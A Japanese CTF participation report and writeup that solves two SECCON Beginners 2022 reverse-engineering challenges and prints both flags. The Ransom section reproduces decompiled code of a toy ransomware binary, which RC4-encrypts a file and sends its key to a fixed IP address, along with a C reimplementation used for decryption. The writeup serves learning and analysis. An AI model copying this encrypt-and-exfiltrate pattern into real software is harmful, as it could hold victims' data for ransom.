SECCON Beginners CTF 2022 参加記 & Writeup

ctf4bに参加しました

6月の4,5日に開催されたSECCON Beginners CTF 2022にチーム DCDC の一員として参加しました。 その中でrevのWinTLSとRansomを解きました。

まずは感想

初めてのCTFでしたが、解きごたえがあり大変楽しくプレイできたと思います。

実際に満足する程解けたかというと、チームメンバーが怒涛の勢いで解いてて、それについていくので精一杯でした。 revやpwnのhard問題まで解けるように精進したいです。

Writeup

自分が解いたrevのWinTLSとRansomの解説をしたいと思います。

WinTLS

PEバイナリが与えられます。 Windowsで実行すると、テキストボックスとボタンがあるウィンドウが表示され、フラグを入力してボタンを押すと正しいか間違っているか教えてくれます。

とりあえずGhidraに食わせてみると main 関数内に WndProc があったのでそれをクリック。

WndProc に設定されているプログラムはこんな感じ。

LRESULT UndefinedFunction_004018f9(HWND param_1,uint param_2,WPARAM param_3,longlong param_4)
{

    (省略)

    pvStack16 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,(LPTHREAD_START_ROUTINE)&t1,atStack312,0,
                             &DStack36);
    pvStack24 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,(LPTHREAD_START_ROUTINE)&t2,atStack312,0,
                             &DStack36);
    WaitForSingleObject(pvStack16,0xffffffff);
    WaitForSingleObject(pvStack24,0xffffffff);
    GetExitCodeThread(pvStack16,&DStack40);
    GetExitCodeThread(pvStack16,&DStack44);
    CloseHandle(pvStack16);
    CloseHandle(pvStack24);
    if ((DStack40 == 0) && (DStack44 == 0)) {
      MessageBoxA((HWND)0x0,"Correct flag!","DOPE",0x40);
    }
    else {
      MessageBoxA((HWND)0x0,"Wrong flag...","NOPE",0x10);
    }
    return 0;

  (省略)

}

CreateThreadt1t2 というスレッドを作り、ExitCodeが両方とも0だったら正しいフラグのようです。

t1 を見てみます。

void UndefinedFunction_0040159d(longlong param_1)
{
  (省略)
  TlsSetValue(TLS,"c4{fAPu8#FHh2+0cyo8$SWJH3a8X");
  for (uStack16 = 0;
      (uStack16 < 0x100 && (cStack17 = *(char *)(param_1 + (int)uStack16), cStack17 != '\0'));
      uStack16 = uStack16 + 1) {
    if (((int)uStack16 % 3 == 0) || ((int)uStack16 % 5 == 0)) { // 3 or 5で割り切れるとき
      lVar1 = (longlong)iStack12;
      iStack12 = iStack12 + 1;
      *(char *)((longlong)&uStack280 + lVar1) = cStack17;
    }
  }
  *(undefined *)((longlong)&uStack280 + (longlong)iStack12) = 0;
  check((char *)&uStack280);
  return;
}

t2 も見てみます。

void UndefinedFunction_004017d1(longlong param_1)
{
  (省略)
  TlsSetValue(TLS,"tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}");
  for (uStack16 = 0;
      (uStack16 < 0x100 && (cStack17 = *(char *)(param_1 + (int)uStack16), cStack17 != '\0'));
      uStack16 = uStack16 + 1) {
    if (((int)uStack16 % 3 != 0) && ((int)uStack16 % 5 != 0)) { // 3で割り切れない and 5で割り切れない
      lVar1 = (longlong)iStack12;
      iStack12 = iStack12 + 1;
      acStack280[lVar1] = cStack17;
    }
  }
  acStack280[iStack12] = '\0';
  check(acStack280);
  return;
}

t1 ではインデックスが3か5で割り切れるときに uStack280 にデータを格納、t2 ではインデックスが3でも5でも割り切れないときに acStack280 にデータを格納しています。 そしてどちらとも関数上部で TlsSetValue に怪しい文字列をセットしています。

なんとなくこのTLSにセットしている文字列を並び変えればいいのだなと思い、メモ帳開いてせっせと並び変えました。

*     *   * *     *  *     *        *        *     *  *        *  *     *        *        *     *  *        *  *     *        *        *     *  *        *  *     * 
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
c     4   { f     A  P     u        8        #     F  H        h  2     +        0        c     y  o        8  $     S        W        J     H  3        a  8     X
  t f   b     % s       $     T  9     N  v     F        y  r        o     L  h     @  8     9        a  9        y     o  C     3  r     P        y  &        3     b  }

ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

ナルホディウス。

これをテキストボックスに入れてみるとOKっぽい。 ということでこれがフラグです。

Ransom

この問題の暗号化方式はRC4ってやつらしいですね、前にも見たことがあったので見抜けなかったのは痛い。 バイナリと暗号化されたテキストファイル、pcapファイルが渡され、テキストファイルを復号化するとフラグが手に入ります。

Ghidraくんに食わせて見やすいように変数名とか書き換えたのがこちら。

int main(void)

{
  (省略)
  random_buf = (char *)malloc(0x11);
  random_init(0x10,random_buf);
  originfs = fopen("ctf4b_super_secret.txt","r");
  if (originfs == (FILE *)0x0) {
    puts("Can\'t open file.");
    iVar1 = 1;
  }
  else {
    pcVar3 = fgets(flag_contents,0x100,originfs);
    if (pcVar3 != (char *)0x0) {
      flag_len = strlen(flag_contents);
      crypted_buf = (char *)malloc(flag_len << 2);
      lock_file(random_buf,flag_contents,(long)crypted_buf);
      lockf = fopen("ctf4b_super_secret.txt.lock","w");
      if (lockf == (FILE *)0x0) {
        puts("Can\'t write file.");
        iVar1 = 1;
        goto LAB_0010191f;
      }
      i = 0;
      while( true ) {
        flag_len = strlen(flag_contents);
        if (i == flag_len) break;
        fprintf(lockf,"\\x%02x",(ulong)(byte)crypted_buf[i]);
        i = i + 1;
      }
      fclose(lockf);
    }
    fclose(originfs);
    iVar1 = socket(2,1,0);
    if (iVar1 < 0) {
      perror("Failed to create socket");
      iVar1 = 1;
    }
    else {
      local_128._0_2_ = 2;
      local_124 = inet_addr("192.168.0.225");
      local_128._2_2_ = htons(0x1f90);
      iVar2 = connect(iVar1,(sockaddr *)local_128,0x10);
      if (iVar2 == 0) {
        write(iVar1,random_buf,0x11);
        iVar1 = 0;
      }
      else {
        perror("Failed to connect");
        iVar1 = 1;
      }
    }
  }
  (省略)
  return iVar1;
}

フラグが書かれたデータをファイルに読み込み、暗号化し、 .lock ファイルに書き込んでいます。 後半部では、乱数で生成した鍵を外部に送信していますね。

pcapファイルを覗くと鍵が手に入ったので、これを使って何とかします。

lock_file 関数の中身はこうなっています。

undefined8 lock_file(char *random_buf,char *flag_contents,long crypted_buf)
{
  long in_FS_OFFSET;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  random_set(random_buf,local_118);
  encrypt(local_118,flag_contents,(char *)crypted_buf);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

local_118 に乱数で生成した鍵をセットし、それを用いて encrypt 関数でファイルを暗号化します。

undefined8 encrypt(char *local_118,char *flag_contents,char *crypted_buf)
{
  size_t flag_len;
  uint local_24;
  uint local_20;
  ulong i;
  
  local_24 = 0;
  local_20 = 0;
  i = 0;
  flag_len = strlen(flag_contents);
  for (; i < flag_len; i = i + 1) {
    local_24 = local_24 + 1 & 0xff;
    local_20 = (byte)local_118[(int)local_24] + local_20 & 0xff;
    swap(local_118 + (int)local_24,local_118 + (int)local_20);
    crypted_buf[i] =
         flag_contents[i] ^ local_118[(byte)(local_118[(int)local_20] + local_118[(int)local_24])];
  }
  return 0;
}

encrypt では色々複雑なことをしていますが、最後がXORを取っているだけなので、もう一回XORしなおせば元の内容が復元できます。 自分はRC4だと知らなかったので、C言語で再実装して実験をしました。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <stdint.h>

void random_init(int n, char *buf)
{
    time_t t = time(NULL);
    srand(t);
    for (int i = 0; i < n; i++)
    {
        int r = rand();
        buf[i] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[r % 0x3e];
    }
    buf[n] = '\0';
}

void swap(char *a, char *b)
{
    char tmpc = *a;
    *a = *b;
    *b = tmpc;
}

void random_set(char *random_buf, char *buf)
{
    int random_buf_len = strlen(random_buf);
    for (int i = 0; i < 0x100; i++)
    {
        buf[i] = (char)i;
    }

    int l18 = 0;
    for (int i = 0; i < 0x100; i++)
    {
        int i2 = (uint32_t)(uint8_t)buf[i] + l18 + (int)random_buf[i % (int)random_buf_len];
        uint32_t u1 = (uint32_t)(i2 >> 0x1f) >> 0x18;
        l18 = (i2 + u1 & 0xff) - u1;
        swap(&buf[i], &buf[l18]);
    }
}

void encrypt(char *buf, char *flag_contents, char *crypted_buf)
{
    int flag_len = strlen(flag_contents);
    uint32_t l24 = 0, l20 = 0;
    for (int i = 0; i < flag_len; i++)
    {
        l24 = l24 + 1 & 0xff;
        l20 = (uint8_t)buf[(int)l24] + l20 & 0xff;
        swap(&buf[(int)l24], &buf[(int)l20]);
        crypted_buf[i] = flag_contents[i] ^ buf[(uint8_t)(buf[(int)l20] + buf[(int)l24])];
        char lock_file_contents[] = "\x2b\xa9\xf3\x6f\xa2\x2e\xcd\xf3\x78\xcc\xb7\xa0\xde\x6d\xb1\xd4\x24\x3c\x8a\x89\xa3\xce\xab\x30\x7f\xc2\xb9\x0c\xb9\xf4\xe7\xda\x25\xcd\xfc\x4e\xc7\x9e\x7e\x43\x2b\x3b\xdc\x09\x80\x96\x95\xf6\x76\x10";
        char f = lock_file_contents[i] ^ buf[(uint8_t)(buf[(int)l20] + buf[(int)l24])];
        printf("%c", f);
    }
}

void lock_file(char *random_buf, char *flag_contents, char *crypted_buf)
{
    char buf[264] = {0};
    random_set(random_buf, buf);
    encrypt(buf, flag_contents, crypted_buf);
}

int main(int argc, char *argv[])
{
    if (argc != 2)
    {
        fprintf(stderr, "usage: ./ransom_rev <flag>\n");
        return 1;
    }
    char *input_flag = argv[1];
    char *random_buf = (char *)malloc(0x11);

    // random_init(0x10, random_buf);

    random_buf = "rgUAvvyfyApNPEYg";

    char flag_contents[264] = {0};
    snprintf(flag_contents, 0x100, input_flag);

    int flag_len = strlen(flag_contents);
    char *crypted_buf = (char *)malloc(flag_len << 2);
    lock_file(random_buf, flag_contents, crypted_buf);
    for (int i = 0; i < flag_len; i++)
    {
        fprintf(stdout, "\\x%02x", (uint8_t)crypted_buf[i]);
    }
}

encrypt 内部で暗号化データをもう一回同じXORをとって復号してprintfしてやると、次のフラグがゲットできました。

ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}

ポイントとしては、符号に気を付けることが挙げられます。 Ghidraのbyte型はuint8_tとして処理をしてあげると良いでしょう。